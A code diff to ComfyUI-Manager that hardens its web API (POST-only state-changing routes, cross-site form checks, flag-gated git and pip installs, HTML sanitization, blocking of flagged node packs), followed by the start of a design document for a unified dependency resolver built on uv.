input_text = input_text.replace('\\[', '[').replace('\\]', ']')
|
||||
|
||||
result_text = re.sub(pattern_a, replace_a, input_text)
|
||||
# Parse links before escaping prose, so generated text entities never enter URLs.
|
||||
parts = []
|
||||
start = 0
|
||||
for match in pattern_a.finditer(input_text):
|
||||
parts.append(manager_util.sanitize_tag(input_text[start:match.start()]))
|
||||
parts.append(replace_a(match))
|
||||
start = match.end()
|
||||
parts.append(manager_util.sanitize_tag(input_text[start:]))
|
||||
result_text = ''.join(parts)
|
||||
result_text = re.sub(pattern_w, replace_w, result_text)
|
||||
result_text = re.sub(pattern_i, replace_i, result_text)
|
||||
result_text = re.sub(pattern_bold, replace_bold, result_text)
|
||||
result_text = re.sub(pattern_white, replace_white, result_text)
|
||||
result_text = result_text.replace("\n", "<BR>")
|
||||
|
||||
return result_text.replace("\n", "<BR>")
|
||||
return re.sub(
|
||||
r'\x00H(\d+)\x00',
|
||||
lambda m: html_utils.escape_html_attribute(hrefs[int(m.group(1))]),
|
||||
result_text,
|
||||
)
|
||||
|
||||
|
||||
def populate_markdown(x):
|
||||
if 'description' in x:
|
||||
x['description'] = convert_markdown_to_html(manager_util.sanitize_tag(x['description']))
|
||||
x['description'] = convert_markdown_to_html(x['description'])
|
||||
|
||||
if 'name' in x:
|
||||
x['name'] = manager_util.sanitize_tag(x['name'])
|
||||
@@ -1155,8 +1210,11 @@ async def get_snapshot_list(request):
|
||||
return web.json_response({'items': items}, content_type='application/json')
|
||||
|
||||
|
||||
@routes.get("/v2/snapshot/remove")
|
||||
@routes.post("/v2/snapshot/remove")
|
||||
async def remove_snapshot(request):
|
||||
rejection = manager_security.reject_simple_form_post(request)
|
||||
if rejection is not None:
|
||||
return rejection
|
||||
if not is_allowed_security_level('middle'):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE)
|
||||
return web.Response(status=403)
|
||||
@@ -1178,8 +1236,11 @@ async def remove_snapshot(request):
|
||||
return web.Response(status=400)
|
||||
|
||||
|
||||
@routes.get("/v2/snapshot/restore")
|
||||
@routes.post("/v2/snapshot/restore")
|
||||
async def restore_snapshot(request):
|
||||
rejection = manager_security.reject_simple_form_post(request)
|
||||
if rejection is not None:
|
||||
return rejection
|
||||
if not is_allowed_security_level('middle+'):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE_P)
|
||||
return web.Response(status=403)
|
||||
@@ -1217,8 +1278,11 @@ async def get_current_snapshot_api(request):
|
||||
return web.Response(status=400)
|
||||
|
||||
|
||||
@routes.get("/v2/snapshot/save")
|
||||
@routes.post("/v2/snapshot/save")
|
||||
async def save_snapshot(request):
|
||||
rejection = manager_security.reject_simple_form_post(request)
|
||||
if rejection is not None:
|
||||
return rejection
|
||||
try:
|
||||
await core.save_snapshot_with_postfix('snapshot')
|
||||
return web.Response(status=200)
|
||||
@@ -1357,14 +1421,11 @@ async def import_fail_info_bulk(request):
|
||||
return web.Response(status=500, text="Internal server error")
|
||||
|
||||
|
||||
@routes.post("/v2/manager/queue/reinstall")
|
||||
async def reinstall_custom_node(request):
|
||||
await uninstall_custom_node(request)
|
||||
await install_custom_node(request)
|
||||
|
||||
|
||||
@routes.get("/v2/manager/queue/reset")
|
||||
@routes.post("/v2/manager/queue/reset")
|
||||
async def reset_queue(request):
|
||||
rejection = manager_security.reject_simple_form_post(request)
|
||||
if rejection is not None:
|
||||
return rejection
|
||||
global task_batch_queue
|
||||
global temp_queue_batch
|
||||
|
||||
@@ -1375,20 +1436,6 @@ async def reset_queue(request):
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
@routes.get("/v2/manager/queue/abort_current")
|
||||
async def abort_queue(request):
|
||||
global task_batch_queue
|
||||
global temp_queue_batch
|
||||
|
||||
with task_worker_lock:
|
||||
temp_queue_batch = []
|
||||
if len(task_batch_queue) > 0:
|
||||
task_batch_queue[0].abort()
|
||||
task_batch_queue.popleft()
|
||||
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
@routes.get("/v2/manager/queue/status")
|
||||
async def queue_count(request):
|
||||
global task_queue
|
||||
@@ -1413,22 +1460,15 @@ async def queue_count(request):
|
||||
'is_processing': is_processing})
|
||||
|
||||
|
||||
@routes.post("/v2/manager/queue/install")
|
||||
async def install_custom_node(request):
|
||||
json_data = await request.json()
|
||||
print(f"install={json_data}")
|
||||
return await _install_custom_node(json_data)
|
||||
|
||||
|
||||
async def _install_custom_node(json_data):
|
||||
if not is_allowed_security_level('middle+'):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE_P)
|
||||
async def _queue_node_install(json_data, operation):
|
||||
if not is_allowed_security_level('middle'):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE)
|
||||
return web.Response(status=403, text="A security error has occurred. Please check the terminal logs")
|
||||
|
||||
# non-nightly cnr is safe
|
||||
# CNR versions are checked for flagged status by the install worker.
|
||||
risky_level = None
|
||||
cnr_id = json_data.get('id')
|
||||
skip_post_install = json_data.get('skip_post_install')
|
||||
skip_post_install = False if operation == 'reinstall' else json_data.get('skip_post_install')
|
||||
|
||||
git_url = None
|
||||
|
||||
@@ -1470,20 +1510,33 @@ async def _install_custom_node(json_data):
|
||||
else:
|
||||
return web.Response(status=404, text=f"Following node pack doesn't provide `nightly` version: ${git_url}")
|
||||
|
||||
if not is_allowed_security_level(risky_level):
|
||||
if risky_level != 'low' and not is_allowed_security_level('middle+'):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE_P)
|
||||
return web.Response(status=403, text="A security error has occurred. Please check the terminal logs")
|
||||
|
||||
# Unknown Git installs also require the dedicated flag; preserve the 404 response.
|
||||
if risky_level == 'high+':
|
||||
if not _dedicated_install_allowed('allow_git_url_install'):
|
||||
logging.error(SECURITY_MESSAGE_FLAG_GIT_URL.format(
|
||||
listen=args.listen, network_mode=core.get_config()['network_mode']))
|
||||
return web.Response(status=404, text="A security error has occurred. Please check the terminal logs")
|
||||
elif not is_allowed_security_level(risky_level):
|
||||
logging.error(SECURITY_MESSAGE_GENERAL)
|
||||
return web.Response(status=404, text="A security error has occurred. Please check the terminal logs")
|
||||
|
||||
install_item = json_data.get('ui_id'), node_spec_str, json_data['channel'], json_data['mode'], skip_post_install
|
||||
temp_queue_batch.append(("install", install_item))
|
||||
temp_queue_batch.append((operation, install_item))
|
||||
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
task_worker_thread:threading.Thread = None
|
||||
|
||||
@routes.get("/v2/manager/queue/start")
|
||||
@routes.post("/v2/manager/queue/start")
|
||||
async def queue_start(request):
|
||||
rejection = manager_security.reject_simple_form_post(request)
|
||||
if rejection is not None:
|
||||
return rejection
|
||||
with task_worker_lock:
|
||||
finalize_temp_queue_batch()
|
||||
return _queue_start()
|
||||
@@ -1500,12 +1553,6 @@ def _queue_start():
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
@routes.post("/v2/manager/queue/fix")
|
||||
async def fix_custom_node(request):
|
||||
json_data = await request.json()
|
||||
return await _fix_custom_node(json_data)
|
||||
|
||||
|
||||
async def _fix_custom_node(json_data):
|
||||
if not is_allowed_security_level('middle'):
|
||||
logging.error(SECURITY_MESSAGE_GENERAL)
|
||||
@@ -1527,9 +1574,12 @@ async def _fix_custom_node(json_data):
|
||||
|
||||
@routes.post("/v2/customnode/install/git_url")
|
||||
async def install_custom_node_git_url(request):
|
||||
if not is_allowed_security_level('high+'):
|
||||
logging.error(SECURITY_MESSAGE_NORMAL_MINUS)
|
||||
return web.Response(status=403)
|
||||
# goal265 S-A: dedicated-flag gate, decoupled from security_level (spec §1.2).
|
||||
if not _dedicated_install_allowed('allow_git_url_install'):
|
||||
logging.error(SECURITY_MESSAGE_FLAG_GIT_URL.format(
|
||||
listen=args.listen, network_mode=core.get_config()['network_mode']))
|
||||
# Only the flag name goes on the wire; the full message is logged above.
|
||||
return web.json_response({'reason': 'allow_git_url_install'}, status=403)
|
||||
|
||||
url = await request.text()
|
||||
res = await core.gitclone_install(url)
|
||||
@@ -1547,9 +1597,12 @@ async def install_custom_node_git_url(request):
|
||||
|
||||
@routes.post("/v2/customnode/install/pip")
|
||||
async def install_custom_node_pip(request):
|
||||
if not is_allowed_security_level('high+'):
|
||||
logging.error(SECURITY_MESSAGE_NORMAL_MINUS)
|
||||
return web.Response(status=403)
|
||||
# goal265 S-B: dedicated-flag gate, decoupled from security_level (spec §1.2).
|
||||
if not _dedicated_install_allowed('allow_pip_install'):
|
||||
logging.error(SECURITY_MESSAGE_FLAG_PIP.format(
|
||||
listen=args.listen, network_mode=core.get_config()['network_mode']))
|
||||
# Only the flag name goes on the wire; the full message is logged above.
|
||||
return web.json_response({'reason': 'allow_pip_install'}, status=403)
|
||||
|
||||
packages = await request.text()
|
||||
core.pip_install(packages.split(' '))
|
||||
@@ -1557,12 +1610,6 @@ async def install_custom_node_pip(request):
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
@routes.post("/v2/manager/queue/uninstall")
|
||||
async def uninstall_custom_node(request):
|
||||
json_data = await request.json()
|
||||
return await _uninstall_custom_node(json_data)
|
||||
|
||||
|
||||
async def _uninstall_custom_node(json_data):
|
||||
if not is_allowed_security_level('middle'):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE)
|
||||
@@ -1583,12 +1630,6 @@ async def _uninstall_custom_node(json_data):
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
@routes.post("/v2/manager/queue/update")
|
||||
async def update_custom_node(request):
|
||||
json_data = await request.json()
|
||||
return await _update_custom_node(json_data)
|
||||
|
||||
|
||||
async def _update_custom_node(json_data):
|
||||
if not is_allowed_security_level('middle'):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE)
|
||||
@@ -1607,8 +1648,11 @@ async def _update_custom_node(json_data):
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
@routes.get("/v2/manager/queue/update_comfyui")
|
||||
@routes.post("/v2/manager/queue/update_comfyui")
|
||||
async def update_comfyui(request):
|
||||
rejection = manager_security.reject_simple_form_post(request)
|
||||
if rejection is not None:
|
||||
return rejection
|
||||
is_stable = core.get_config()['update_policy'] != 'nightly-comfyui'
|
||||
temp_queue_batch.append(("update-comfyui", ('comfyui', is_stable)))
|
||||
return web.Response(status=200)
|
||||
@@ -1625,24 +1669,28 @@ async def comfyui_versions(request):
|
||||
return web.Response(status=400)
|
||||
|
||||
|
||||
@routes.get("/v2/comfyui_manager/comfyui_switch_version")
|
||||
@routes.post("/v2/comfyui_manager/comfyui_switch_version")
|
||||
async def comfyui_switch_version(request):
|
||||
try:
|
||||
if "ver" in request.rel_url.query:
|
||||
core.switch_comfyui(request.rel_url.query['ver'])
|
||||
# Body-reading handler — Content-Type gate omitted per
|
||||
# comfyui_manager/common/manager_security.py module policy: a cross-origin
|
||||
# <form method=POST> cannot forge a valid application/json body because
|
||||
# the browser would trigger a CORS preflight that this server refuses.
|
||||
if not is_allowed_security_level('high+'):
|
||||
logging.error(SECURITY_MESSAGE_HIGH_P)
|
||||
return web.Response(status=403)
|
||||
|
||||
try:
|
||||
data = await request.json()
|
||||
ver = data.get('ver')
|
||||
if not ver:
|
||||
return web.Response(status=400, text="missing 'ver' field")
|
||||
core.switch_comfyui(ver)
|
||||
return web.Response(status=200)
|
||||
except json.JSONDecodeError:
|
||||
return web.Response(status=400, text="Invalid JSON body")
|
||||
except Exception as e:
|
||||
logging.error(f"ComfyUI update fail: {e}", file=sys.stderr)
|
||||
|
||||
return web.Response(status=400)
|
||||
|
||||
|
||||
@routes.post("/v2/manager/queue/disable")
|
||||
async def disable_node(request):
|
||||
json_data = await request.json()
|
||||
await _disable_node(json_data)
|
||||
return web.Response(status=200)
|
||||
return web.Response(status=400)
|
||||
|
||||
|
||||
async def _disable_node(json_data):
|
||||
@@ -1712,61 +1760,88 @@ async def _install_model(json_data):
|
||||
|
||||
@routes.get("/v2/manager/db_mode")
|
||||
async def db_mode(request):
|
||||
if "value" in request.rel_url.query:
|
||||
set_db_mode(request.rel_url.query['value'])
|
||||
core.write_config()
|
||||
else:
|
||||
return web.Response(text=core.get_config()['db_mode'], status=200)
|
||||
return web.Response(text=core.get_config()['db_mode'], status=200)
|
||||
|
||||
return web.Response(status=200)
|
||||
|
||||
@routes.post("/v2/manager/db_mode")
|
||||
async def set_db_mode_api(request):
|
||||
# Config writes are at the same risk tier as uninstall/update — apply the
|
||||
# 'middle' gate consistent with snapshot/remove, etc. Content-Type gate is
|
||||
# NOT applied here: this handler consumes application/json and a
|
||||
# cross-origin <form method=POST> cannot forge that without triggering
|
||||
# CORS preflight (see module docstring in common/manager_security.py).
|
||||
if not is_allowed_security_level('middle'):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE)
|
||||
return web.Response(status=403)
|
||||
try:
|
||||
data = await request.json()
|
||||
set_db_mode(data['value'])
|
||||
core.write_config()
|
||||
return web.Response(status=200)
|
||||
except (json.JSONDecodeError, KeyError):
|
||||
return web.Response(status=400, text='Invalid request')
|
||||
|
||||
|
||||
@routes.get("/v2/manager/policy/update")
|
||||
async def update_policy(request):
|
||||
if "value" in request.rel_url.query:
|
||||
set_update_policy(request.rel_url.query['value'])
|
||||
core.write_config()
|
||||
else:
|
||||
return web.Response(text=core.get_config()['update_policy'], status=200)
|
||||
return web.Response(text=core.get_config()['update_policy'], status=200)
|
||||
|
||||
return web.Response(status=200)
|
||||
|
||||
@routes.post("/v2/manager/policy/update")
|
||||
async def set_update_policy_api(request):
|
||||
# See set_db_mode_api above for gate rationale.
|
||||
if not is_allowed_security_level('middle'):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE)
|
||||
return web.Response(status=403)
|
||||
try:
|
||||
data = await request.json()
|
||||
set_update_policy(data['value'])
|
||||
core.write_config()
|
||||
return web.Response(status=200)
|
||||
except (json.JSONDecodeError, KeyError):
|
||||
return web.Response(status=400, text='Invalid request')
|
||||
|
||||
|
||||
@routes.get("/v2/manager/channel_url_list")
|
||||
async def channel_url_list(request):
|
||||
channels = core.get_channel_dict()
|
||||
if "value" in request.rel_url.query:
|
||||
channel_url = channels.get(request.rel_url.query['value'])
|
||||
if channel_url is not None:
|
||||
core.get_config()['channel_url'] = channel_url
|
||||
core.write_config()
|
||||
else:
|
||||
selected = 'custom'
|
||||
selected_url = core.get_config()['channel_url']
|
||||
selected = 'custom'
|
||||
selected_url = core.get_config()['channel_url']
|
||||
|
||||
for name, url in channels.items():
|
||||
if url == selected_url:
|
||||
selected = name
|
||||
break
|
||||
for name, url in channels.items():
|
||||
if url == selected_url:
|
||||
selected = name
|
||||
break
|
||||
|
||||
res = {'selected': selected,
|
||||
'list': core.get_channel_list()}
|
||||
return web.json_response(res, status=200)
|
||||
|
||||
return web.Response(status=200)
|
||||
res = {'selected': selected,
|
||||
'list': core.get_channel_list()}
|
||||
return web.json_response(res, status=200)
|
||||
|
||||
|
||||
def add_target_blank(html_text):
|
||||
pattern = r'(<a\s+href="[^"]*"\s*[^>]*)(>)'
|
||||
|
||||
def add_target(match):
|
||||
if 'target=' not in match.group(1):
|
||||
return match.group(1) + ' target="_blank"' + match.group(2)
|
||||
return match.group(0)
|
||||
|
||||
modified_html = re.sub(pattern, add_target, html_text)
|
||||
|
||||
return modified_html
|
||||
@routes.post("/v2/manager/channel_url_list")
|
||||
async def set_channel_url(request):
|
||||
# See set_db_mode_api above for gate rationale.
|
||||
if not is_allowed_security_level('middle'):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE)
|
||||
return web.Response(status=403)
|
||||
try:
|
||||
data = await request.json()
|
||||
channels = core.get_channel_dict()
|
||||
channel_url = channels.get(data['value'])
|
||||
if channel_url is None:
|
||||
# Reject unknown channel name explicitly instead of silent no-op.
|
||||
# Parity with glob set_channel_url (comfyui_manager/glob/manager_server.py)
|
||||
# and with set_db_mode / set_update_policy whitelist enforcement.
|
||||
return web.Response(
|
||||
status=400,
|
||||
text=f"Invalid channel name {data['value']!r}; "
|
||||
f"must be one of {sorted(channels.keys())}",
|
||||
)
|
||||
core.get_config()['channel_url'] = channel_url
|
||||
core.write_config()
|
||||
return web.Response(status=200)
|
||||
except (json.JSONDecodeError, KeyError):
|
||||
return web.Response(status=400, text='Invalid request')
|
||||
|
||||
|
||||
@routes.get("/v2/manager/notice")
|
||||
@@ -1784,7 +1859,9 @@ async def get_notice(request):
|
||||
match = pattern.search(html_content)
|
||||
|
||||
if match:
|
||||
markdown_content = match.group(1)
|
||||
# Remote page content lands in innerHTML on the client:
|
||||
# keep formatting markup only.
|
||||
markdown_content = html_utils.sanitize_html_fragment(match.group(1))
|
||||
version_tag = os.environ.get('__COMFYUI_DESKTOP_VERSION__')
|
||||
if version_tag is not None:
|
||||
markdown_content += f"<HR>ComfyUI: {version_tag} [Desktop]"
|
||||
@@ -1798,8 +1875,6 @@ async def get_notice(request):
|
||||
# markdown_content += f"<BR> ()"
|
||||
markdown_content += f"<BR>Manager: {core.version_str}"
|
||||
|
||||
markdown_content = add_target_blank(markdown_content)
|
||||
|
||||
try:
|
||||
if '__COMFYUI_DESKTOP_VERSION__' not in os.environ:
|
||||
if core.comfy_ui_commit_datetime == datetime(1900, 1, 1, 0, 0, 0):
|
||||
@@ -1817,13 +1892,12 @@ async def get_notice(request):
|
||||
|
||||
|
||||
# legacy /manager/notice
|
||||
@routes.get("/manager/notice")
|
||||
async def get_notice_legacy(request):
|
||||
return web.Response(text="""<font color="red">Starting from ComfyUI-Manager V4.0+, it should be installed via pip.<BR><BR>Please remove the ComfyUI-Manager installed in the <font color="white">'custom_nodes'</font> directory.</font>""", status=200)
|
||||
|
||||
|
||||
@routes.get("/v2/manager/reboot")
|
||||
def restart(self):
|
||||
@routes.post("/v2/manager/reboot")
|
||||
def restart(request):
|
||||
rejection = manager_security.reject_simple_form_post(request)
|
||||
if rejection is not None:
|
||||
return rejection
|
||||
if not is_allowed_security_level('middle'):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE)
|
||||
return web.Response(status=403)
|
||||
@@ -1937,9 +2011,13 @@ if not os.path.exists(context.manager_config_path):
|
||||
|
||||
|
||||
# policy setup
|
||||
manager_security.add_handler_policy(reinstall_custom_node, manager_security.HANDLER_POLICY.MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD)
|
||||
manager_security.add_handler_policy(install_custom_node, manager_security.HANDLER_POLICY.MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD)
|
||||
manager_security.add_handler_policy(fix_custom_node, manager_security.HANDLER_POLICY.MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD)
|
||||
# WI-V: removed stale references to reinstall_custom_node / install_custom_node /
|
||||
# fix_custom_node — these legacy handlers were deleted in prior refactors
|
||||
# (likely the CSRF POST-conversion / security level work). Their remaining
|
||||
# add_handler_policy() calls raised NameError at module import, aborting
|
||||
# `comfyui_manager.start()`'s legacy branch before EXTENSION_WEB_DIRS could
|
||||
# register the legacy-UI JS directory — which is why the legacy Manager
|
||||
# button never rendered in the ComfyUI toolbar for Playwright tests.
|
||||
manager_security.add_handler_policy(install_custom_node_git_url, manager_security.HANDLER_POLICY.MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD)
|
||||
manager_security.add_handler_policy(install_custom_node_pip, manager_security.HANDLER_POLICY.MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD)
|
||||
manager_security.add_handler_policy(install_model, manager_security.HANDLER_POLICY.MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD)
|
||||
|
||||
@@ -88,6 +88,11 @@ def read_uv_mode():
|
||||
if 'use_uv' in default_conf:
|
||||
manager_util.use_uv = default_conf['use_uv'].lower() == 'true'
|
||||
|
||||
|
||||
def read_unified_resolver_mode():
|
||||
if 'use_unified_resolver' in default_conf:
|
||||
manager_util.use_unified_resolver = default_conf['use_unified_resolver'].lower() == 'true'
|
||||
|
||||
def check_file_logging():
|
||||
global enable_file_logging
|
||||
if 'file_logging' in default_conf and default_conf['file_logging'].lower() == 'false':
|
||||
@@ -96,9 +101,14 @@ def check_file_logging():
|
||||
|
||||
read_config()
|
||||
read_uv_mode()
|
||||
read_unified_resolver_mode()
|
||||
security_check.security_check()
|
||||
check_file_logging()
|
||||
|
||||
# Module-level flag set by startup batch resolver when it succeeds.
|
||||
# Used by execute_lazy_install_script() to skip per-node pip installs.
|
||||
_unified_resolver_succeeded = False
|
||||
|
||||
cm_global.pip_overrides = {}
|
||||
|
||||
if os.path.exists(manager_pip_overrides_path):
|
||||
@@ -560,7 +570,14 @@ if os.path.exists(restore_snapshot_path):
|
||||
if 'COMFYUI_PATH' not in new_env:
|
||||
new_env['COMFYUI_PATH'] = os.path.dirname(folder_paths.__file__)
|
||||
|
||||
cmd_str = [sys.executable, '-m', 'comfyui_manager.cm_cli', 'restore-snapshot', restore_snapshot_path]
|
||||
from comfy.cli_args import args
|
||||
from .common import manager_security
|
||||
|
||||
allow_flagged = default_conf.get('allow_flagged_nodepack_install', '').lower() == 'true'
|
||||
new_env['_COMFYUI_MANAGER_CNR_ALLOW_FLAGGED'] = str(
|
||||
allow_flagged or manager_security.is_loopback_listener(args.listen)
|
||||
).lower()
|
||||
cmd_str = [sys.executable, '-m', 'cm_cli', 'restore-snapshot', restore_snapshot_path]
|
||||
exit_code = process_wrap(cmd_str, custom_nodes_base_path, handler=msg_capture, env=new_env)
|
||||
|
||||
if exit_code != 0:
|
||||
@@ -581,7 +598,8 @@ def execute_lazy_install_script(repo_path, executable):
|
||||
install_script_path = os.path.join(repo_path, "install.py")
|
||||
requirements_path = os.path.join(repo_path, "requirements.txt")
|
||||
|
||||
if os.path.exists(requirements_path):
|
||||
if os.path.exists(requirements_path) and not _unified_resolver_succeeded:
|
||||
# Per-node pip install: only runs if unified resolver is disabled or failed
|
||||
print(f"Install: pip packages for '{repo_path}'")
|
||||
|
||||
lines = manager_util.robust_readlines(requirements_path)
|
||||
@@ -608,9 +626,19 @@ def execute_lazy_install_script(repo_path, executable):
|
||||
process_wrap(install_cmd, repo_path, env=new_env)
|
||||
|
||||
|
||||
def execute_lazy_cnr_switch(target, zip_url, from_path, to_path, no_deps, custom_nodes_path):
|
||||
def execute_lazy_cnr_switch(target, zip_url, from_path, to_path, no_deps, custom_nodes_path, status=''):
|
||||
import uuid
|
||||
import shutil
|
||||
from comfy.cli_args import args
|
||||
from .common.manager_security import FLAGGED_NODEPACK_INSTALL_GUIDANCE, is_cnr_install_allowed
|
||||
|
||||
allow_flagged = default_conf.get('allow_flagged_nodepack_install', '').lower() == 'true'
|
||||
if not is_cnr_install_allowed(status or 'NodeVersionStatusFlagged', allow_flagged, args.listen):
|
||||
if not status:
|
||||
logging.error("Cannot execute reserved CNR switch for '%s': stored Registry status is missing. Request the installation again so its current status can be checked.", target)
|
||||
else:
|
||||
logging.error(FLAGGED_NODEPACK_INSTALL_GUIDANCE)
|
||||
return False
|
||||
|
||||
# 1. download
|
||||
archive_name = f"CNR_temp_{str(uuid.uuid4())}.zip" # should be unpredictable name - security precaution
|
||||
@@ -658,6 +686,8 @@ def execute_lazy_cnr_switch(target, zip_url, from_path, to_path, no_deps, custom
|
||||
with open(tracking_info_file, "w", encoding='utf-8') as file:
|
||||
file.write('\n'.join(list(extracted)))
|
||||
|
||||
return True
|
||||
|
||||
|
||||
script_executed = False
|
||||
|
||||
@@ -713,8 +743,9 @@ def execute_startup_script():
|
||||
execute_lazy_install_script(script[0], script[2])
|
||||
|
||||
elif script[1] == "#LAZY-CNR-SWITCH-SCRIPT":
|
||||
execute_lazy_cnr_switch(script[0], script[2], script[3], script[4], script[5], script[6])
|
||||
execute_lazy_install_script(script[3], script[7])
|
||||
status = script[8] if len(script) > 8 else ''
|
||||
if execute_lazy_cnr_switch(script[0], script[2], script[3], script[4], script[5], script[6], status):
|
||||
execute_lazy_install_script(script[3], script[7])
|
||||
|
||||
elif script[1] == "#LAZY-DELETE-NODEPACK":
|
||||
execute_lazy_delete(script[2])
|
||||
@@ -751,6 +782,38 @@ def execute_startup_script():
|
||||
print("#######################################################################\n")
|
||||
|
||||
|
||||
# --- Unified dependency resolver: batch resolution at startup ---
|
||||
# Runs unconditionally when enabled, independent of install-scripts.txt existence.
|
||||
if manager_util.use_unified_resolver:
|
||||
try:
|
||||
from .common.unified_dep_resolver import (
|
||||
UnifiedDepResolver,
|
||||
UvNotAvailableError,
|
||||
collect_base_requirements,
|
||||
collect_node_pack_paths,
|
||||
)
|
||||
|
||||
_resolver = UnifiedDepResolver(
|
||||
node_pack_paths=collect_node_pack_paths(folder_paths.get_folder_paths('custom_nodes')),
|
||||
base_requirements=collect_base_requirements(comfy_path),
|
||||
blacklist=set(),
|
||||
overrides={},
|
||||
downgrade_blacklist=[],
|
||||
)
|
||||
_result = _resolver.resolve_and_install()
|
||||
if _result.success:
|
||||
_unified_resolver_succeeded = True
|
||||
logging.info("[UnifiedDepResolver] startup batch resolution succeeded")
|
||||
else:
|
||||
manager_util.use_unified_resolver = False
|
||||
logging.warning("[UnifiedDepResolver] startup batch failed: %s, falling back to per-node pip", _result.error)
|
||||
except UvNotAvailableError:
|
||||
manager_util.use_unified_resolver = False
|
||||
logging.warning("[UnifiedDepResolver] uv not available at startup, falling back to per-node pip")
|
||||
except Exception as e:
|
||||
manager_util.use_unified_resolver = False
|
||||
logging.warning("[UnifiedDepResolver] startup error: %s, falling back to per-node pip", e)
|
||||
|
||||
# Check if script_list_path exists
|
||||
if os.path.exists(script_list_path):
|
||||
execute_startup_script()
|
||||
|
||||
@@ -0,0 +1,812 @@
|
||||
# Architecture Design: Unified Dependency Resolver
|
||||
|
||||
## 1. System Architecture
|
||||
|
||||
### 1.1 Module Location
|
||||
|
||||
```
|
||||
comfyui_manager/
|
||||
├── glob/
|
||||
│ └── manager_core.py # Existing: execute_install_script() call sites (2 locations)
|
||||
├── common/
|
||||
│ ├── manager_util.py # Existing: get_pip_cmd(), PIPFixer, use_uv flag
|
||||
│ ├── cm_global.py # Existing: pip_overrides, pip_blacklist (runtime dynamic assignment)
|
||||
│ └── unified_dep_resolver.py # New: Unified dependency resolution module
|
||||
├── prestartup_script.py # Existing: config reading, remap_pip_package, cm_global initialization
|
||||
└── legacy/
|
||||
└── manager_core.py # Legacy (not a modification target)
|
||||
cm_cli/
|
||||
└── __main__.py # CLI entry: uv-compile command (on-demand batch resolution)
|
||||
```
|
||||
|
||||
The new module `unified_dep_resolver.py` is added to the `comfyui_manager/common/` directory.
|
||||
It reuses `manager_util` utilities and `cm_global` global state from the same package.
|
||||
|
||||
> **Warning**: `cm_global.pip_overrides`, `pip_blacklist`, `pip_downgrade_blacklist` are
|
||||
> NOT defined in `cm_global.py`. They are **dynamically assigned** during `prestartup_script.py` execution.
|
||||
> In v1 unified mode, these are **not applied** — empty values are passed to the resolver constructor.
|
||||
> The constructor interface accepts them for future extensibility (defaults to empty when `None`).
|
||||
>
|
||||
> **[DEFERRED]** Reading actual `cm_global` values at startup is deferred to a future version.
|
||||
> The startup batch resolver in `prestartup_script.py` currently passes `blacklist=set()`,
|
||||
> `overrides={}`, `downgrade_blacklist=[]`. The constructor and internal methods
|
||||
> (`_remap_package`, `_is_downgrade_blacklisted`, blacklist check) are fully implemented
|
||||
> and will work once real values are provided.
|
||||
|
||||
### 1.2 Overall Flow
|
||||
|
||||
```mermaid
|
||||
flowchart TD
|
||||
subgraph INSTALL_TIME["Install Time (immediate)"]
|
||||
MC["manager_core.py<br/>execute_install_script() — 2 locations"]
|
||||
MC -->|"use_unified_resolver=True"| SKIP["Skip per-node pip install<br/>(deps deferred to restart)"]
|
||||
MC -->|"use_unified_resolver=False"| PIP["Existing pip install loop"]
|
||||
SKIP --> INST["Run install.py"]
|
||||
PIP --> INST
|
||||
end
|
||||
|
||||
subgraph STARTUP["ComfyUI Restart (prestartup_script.py)"]
|
||||
CHK{use_unified_resolver?}
|
||||
CHK -->|Yes| UDR
|
||||
CHK -->|No| LAZY["execute_lazy_install_script()<br/>per-node pip install (existing)"]
|
||||
|
||||
subgraph UDR["UnifiedDepResolver (batch)"]
|
||||
S1["1. collect_requirements()<br/>(ALL installed node packs)"]
|
||||
S2["2. compile_lockfile()"]
|
||||
S3["3. install_from_lockfile()"]
|
||||
S1 --> S2 --> S3
|
||||
end
|
||||
|
||||
UDR -->|Success| FIX["PIPFixer.fix_broken()"]
|
||||
UDR -->|Failure| LAZY
|
||||
LAZY --> FIX2["PIPFixer.fix_broken()"]
|
||||
end
|
||||
```
|
||||
|
||||
> **Key design change**: The unified resolver runs at **startup time** (module scope), not at install time.
|
||||
> At install time, `execute_install_script()` skips the pip loop when unified mode is active.
|
||||
> At startup, `prestartup_script.py` runs the resolver at module scope — unconditionally when enabled,
|
||||
> independent of `install-scripts.txt` existence. Blacklist/overrides/downgrade_blacklist are bypassed
|
||||
> (empty values passed); `uv pip compile` handles all conflict resolution natively.
|
||||
>
|
||||
> **Note**: `execute_install_script()` exists in 2 locations in the codebase (excluding legacy module).
|
||||
> - `UnifiedManager.execute_install_script()` (class method): Used for CNR installs, etc.
|
||||
> - Standalone function `execute_install_script()`: Used for updates, git installs, etc.
|
||||
> Both skip per-node pip install when unified mode is active.
|
||||
|
||||
### 1.3 uv Command Strategy
|
||||
|
||||
**`uv pip compile`** → Generates pinned requirements.txt (pip-compatible)
|
||||
- Do not confuse with `uv lock`
|
||||
- `uv lock` generates `uv.lock` (TOML) — cross-platform but incompatible with pip workflows
|
||||
- This design uses a pip-compatible workflow (`uv pip compile` → `uv pip install -r`)
|
||||
|
||||
**`uv pip install -r`** ← Used instead of `uv pip sync`
|
||||
- `uv pip sync`: **Deletes** packages not in lockfile → Risk of removing torch, ComfyUI deps
|
||||
- `uv pip install -r`: Only performs additive installs, preserves existing packages → Safe
|
||||
|
||||
---
|
||||
|
